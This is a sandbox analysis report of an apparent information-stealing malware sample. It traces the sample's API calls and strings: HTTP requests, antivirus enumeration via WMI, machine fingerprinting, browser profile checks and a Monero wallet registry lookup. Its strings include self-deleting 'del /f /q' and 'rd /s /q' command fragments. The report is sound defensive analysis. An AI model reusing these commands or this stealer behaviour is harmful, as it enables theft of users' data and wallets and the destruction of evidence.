Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
StrCmpCA.SHLWAPI(?), ref: 00404FA6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004050D2
InternetCloseHandle.WININET(00000000), ref: 004050DD
InternetCloseHandle.WININET(?), ref: 004050E6
InternetCloseHandle.WININET(?), ref: 004050EF

Strings

ERROR, xrefs: 00405059
GET, xrefs: 00404FF7
ERROR, xrefs: 00405140

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologOpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 2435781452-2509457195
Opcode ID: 517f34d15c50c2bff24b9ad49d7a6df4359f1629075331d26f3e055988320fb2
Instruction ID: c1fd0c265216fd47394e40449a31f27cb744319a2eff906596a5c238740c7f68
Opcode Fuzzy Hash: 517f34d15c50c2bff24b9ad49d7a6df4359f1629075331d26f3e055988320fb2
Instruction Fuzzy Hash: 93512F71900119AFEB11EBE0DC85FEFBBB9EB09744F10403AF605B2191DB795A48CBA5

Function 004041B2 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 170networkmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004041B7

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004041FE
RtlAllocateHeap.NTDLL(00000000), ref: 00404205
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404224
StrCmpCA.SHLWAPI(?), ref: 00404238
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040425C
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404292
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004042B6
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004042C1
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004042DF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404337
InternetCloseHandle.WININET(00000000), ref: 00404369
InternetCloseHandle.WININET(?), ref: 00404372
InternetCloseHandle.WININET(?), ref: 0040437B

Strings

GET, xrefs: 0040428A

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologHeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 1687531150-1805413626
Opcode ID: 5c17fe2671a6e7da2559d3110b2e5ff5de3778f8e7e7f5b7b1cd9291ace094b3
Instruction ID: 7ce3078965428967d931fab95435fba2e2eaf60a30af71eeb75a30b69647e977
Opcode Fuzzy Hash: 5c17fe2671a6e7da2559d3110b2e5ff5de3778f8e7e7f5b7b1cd9291ace094b3
Instruction Fuzzy Hash: 07516DB2900219AFDB10EFE0CC85AEEBBB9EB49344F00513AFA01B2190D7785E45CB65

Function 004136E3 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 153COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004136E8
memset.MSVCRT ref: 00413708
memset.MSVCRT ref: 00413714
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,00000000), ref: 00413729

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

ShellExecuteEx.SHELL32(0000003C), ref: 004138B5
memset.MSVCRT ref: 004138C2
memset.MSVCRT ref: 004138D0
ExitProcess.KERNEL32 ref: 004138E1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Strings

" & exit, xrefs: 004137F2
" & rd /s /q "C:\ProgramData\, xrefs: 0041379F
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00413809
" & exit, xrefs: 00413856
<, xrefs: 00413890
/c timeout /t 10 & del /f /q ", xrefs: 0041374F

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpymemset$H_prolog$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<
API String ID: 1312519015-206210831
Opcode ID: b60e4181e6a310db5da8c1337dc0a9af3d85a3d6be454d84c97edfaf10444dd9
Instruction ID: f7fb810ff7d1253c450dda7b52a61bb1d28e29dbb724758fa3153a55c7d62ffe
Opcode Fuzzy Hash: b60e4181e6a310db5da8c1337dc0a9af3d85a3d6be454d84c97edfaf10444dd9
Instruction Fuzzy Hash: 24513EB1D0424DEEDB11EBE5C992ADEBBB8AF18304F50017EE105B3582DB785B48CB65

Function 00410925 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 125comCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041092A
CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4,00000000,?,00000000), ref: 00410942
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000), ref: 00410953
CoCreateInstance.OLE32(00426F54,00000000,00000001,00426E84,?,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4,00000000,?), ref: 0041096D
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?), ref: 004109A3
VariantInit.OLEAUT32(?), ref: 004109F6

Part of subcall function 00410C8D: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,00410A1D,?,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4,00000000), ref: 00410C95
Part of subcall function 00410C8D: CharToOemW.USER32(?,00000000), ref: 00410CA1

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

VariantClear.OLEAUT32(?), ref: 00410A2B

Strings

Unknown, xrefs: 00410A56
Select * From AntiVirusProduct, xrefs: 004109B3
displayName, xrefs: 00410A08
WQL, xrefs: 004109B8
Unknown, xrefs: 00410A5D
root\SecurityCenter2, xrefs: 00410980
Unknown, xrefs: 00410A37

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prologInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 3694693100-315474579
Opcode ID: 37c255ede78dc96a955b53c0c79ddd89c62703064e8d35959ae560dff953bc09
Instruction ID: 31939d6998afadb2a5dbf95c0d2b4f071c2bc660873cc242f14b71194dd59c4b
Opcode Fuzzy Hash: 37c255ede78dc96a955b53c0c79ddd89c62703064e8d35959ae560dff953bc09
Instruction Fuzzy Hash: 5B418E70A01229BBCB20DB95DD49EEF7F78EF49B60F60411AF115A6180C7B85A41CBA8

Function 00410071 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410076

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0042626F,00000001,00000000), ref: 004100BE
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00410108
wsprintfA.USER32 ref: 00410132
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041014F
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00410179
lstrlenA.KERNEL32(?), ref: 0041018E
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00426298), ref: 0041020E

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Strings

- , xrefs: 00410218
%s\%s, xrefs: 0041012C
?, xrefs: 004100B4

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$EnumH_prologlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 404191982-3278919252
Opcode ID: 063371d2b875b6717c154b92f163b7baa1dc5683eb4907d65be1d3fe8856eca0
Instruction ID: e683f53884952fc8e4340679726e39bda7e6eb295b9d2e7bf921829342b6fcae
Opcode Fuzzy Hash: 063371d2b875b6717c154b92f163b7baa1dc5683eb4907d65be1d3fe8856eca0
Instruction Fuzzy Hash: 177113B190021DEEDF11EFE1DD84EEEBBB9BB18304F10417AE905B2151DB785A88CB64

Function 0040F689 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F68E
??_U@YAPAXI@Z.MSVCRT ref: 0040F6A4
OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000), ref: 0040F6C6
memset.MSVCRT ref: 0040F708
??_V@YAXPAX@Z.MSVCRT ref: 0040F841

Part of subcall function 0040E156: strlen.MSVCRT ref: 0040E16D

Part of subcall function 0040DD10: memcpy.MSVCRT ref: 0040DD30

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0040F720, 0040F809
N0ZWFt, xrefs: 0040F7AB, 0040F7B8

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologOpenProcessmemcpymemsetstrlen
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 3050127167-1622206642
Opcode ID: 62cac7f763dcb1ecf59ba7468d4914cb1836e5842510e83f1bd36acc244ddd33
Instruction ID: 5386366d5d033f49441d76ecd0ffc2bd1dc3d668faeba3ff857dabf4a36879bb
Opcode Fuzzy Hash: 62cac7f763dcb1ecf59ba7468d4914cb1836e5842510e83f1bd36acc244ddd33
Instruction Fuzzy Hash: 7A517C71900219AEDB20EB94DC81AEEBBB9EF04314F20007EF114B66C1DB795E88CB59

Function 004104DD Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004104E2
GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581
wsprintfA.USER32 ref: 004105AD
lstrcat.KERNEL32(00000000,00426248), ref: 004105BC

Part of subcall function 004104A2: GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

lstrlenA.KERNEL32(00000000), ref: 004105DB

Part of subcall function 00411154: malloc.MSVCRT ref: 00411162
Part of subcall function 00411154: strncpy.MSVCRT ref: 00411172

lstrcat.KERNEL32(00000000,00000000), ref: 00410608

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Strings

C, xrefs: 0041050F
:\, xrefs: 0041052D

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryH_prologInformationProcessProfileVolumeWindowslstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C
API String ID: 688099012-3309953409
Opcode ID: 1522b66ae9d2de447abac276b6048746d7087383805eda5a4ea2a9c8c75e97bf
Instruction ID: 31ba2aefab9431e017bcb41f2bdcd0be11d417c1f72aa959c07d5e8bae5074a4
Opcode Fuzzy Hash: 1522b66ae9d2de447abac276b6048746d7087383805eda5a4ea2a9c8c75e97bf
Instruction Fuzzy Hash: 8D418071801158ABCB11EBE5DD89EEFBBBDEF4A304F10006EF505A3141EA385A48CBB5

Function 00413118 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 116stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041311D

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00404F2A: _EH_prolog.MSVCRT ref: 00404F2F
Part of subcall function 00404F2A: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
Part of subcall function 00404F2A: StrCmpCA.SHLWAPI(?), ref: 00404FA6
Part of subcall function 00404F2A: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F2A: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
Part of subcall function 00404F2A: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
Part of subcall function 00404F2A: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
Part of subcall function 00404F2A: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041319F
lstrlenA.KERNEL32(00000000), ref: 004131B6

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

StrStrA.SHLWAPI(00000000,00000000), ref: 004131DD
lstrlenA.KERNEL32(00000000), ref: 004131F2
lstrlenA.KERNEL32(00000000), ref: 0041320D

Strings

ERROR, xrefs: 0041321D
ERROR, xrefs: 00413231
ERROR, xrefs: 0041323F
ERROR, xrefs: 00413191
ERROR, xrefs: 00413238

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$H_prologOpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3807055897-1526165396
Opcode ID: 2c86652b872a1e0dadd1c653e9dcbefc8a1b1809ca84a3556183aa192fa2429b
Instruction ID: 62ef994e2eebf51157d4abcec818fbc8b07954dcba3d20b807130a2a391ecf21
Opcode Fuzzy Hash: 2c86652b872a1e0dadd1c653e9dcbefc8a1b1809ca84a3556183aa192fa2429b
Instruction Fuzzy Hash: A341A4B1900258EACB11FFA5D956FDDB7B4AF18708F10017EF90173182DB786B48CA6A

Function 0040ED08 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 373COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040ED0D
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040ED51
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040EDC5
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040EEE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040D3FA: _EH_prolog.MSVCRT ref: 0040D3FF

Part of subcall function 0040B8AF: _EH_prolog.MSVCRT ref: 0040B8B4

StrCmpCA.SHLWAPI(00000000), ref: 0040EFB0
StrCmpCA.SHLWAPI(00000000), ref: 0040F025
StrCmpCA.SHLWAPI(00000000,firefox), ref: 0040F140

Strings

Stable\, xrefs: 0040F068
firefox, xrefs: 0040F132
Stable\, xrefs: 0040EE08

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 2120869262-2697854757
Opcode ID: 2d9beafbfaca0d3e469517aa4f8a3f0aacbaa8e1958f816725719b66ff48c97b
Instruction ID: 1f3c50db67794596869caf17774f63c9bcd5449133ce98ec0acc847700032956
Opcode Fuzzy Hash: 2d9beafbfaca0d3e469517aa4f8a3f0aacbaa8e1958f816725719b66ff48c97b
Instruction Fuzzy Hash: 71E19271D00249EADF10FBB9D956BDDBFB4AB09304F10817AE80477682DB78570C8BA6

Function 00401C6B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 179stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401C70
memset.MSVCRT ref: 00401C8E

Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
Part of subcall function 00401000: RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
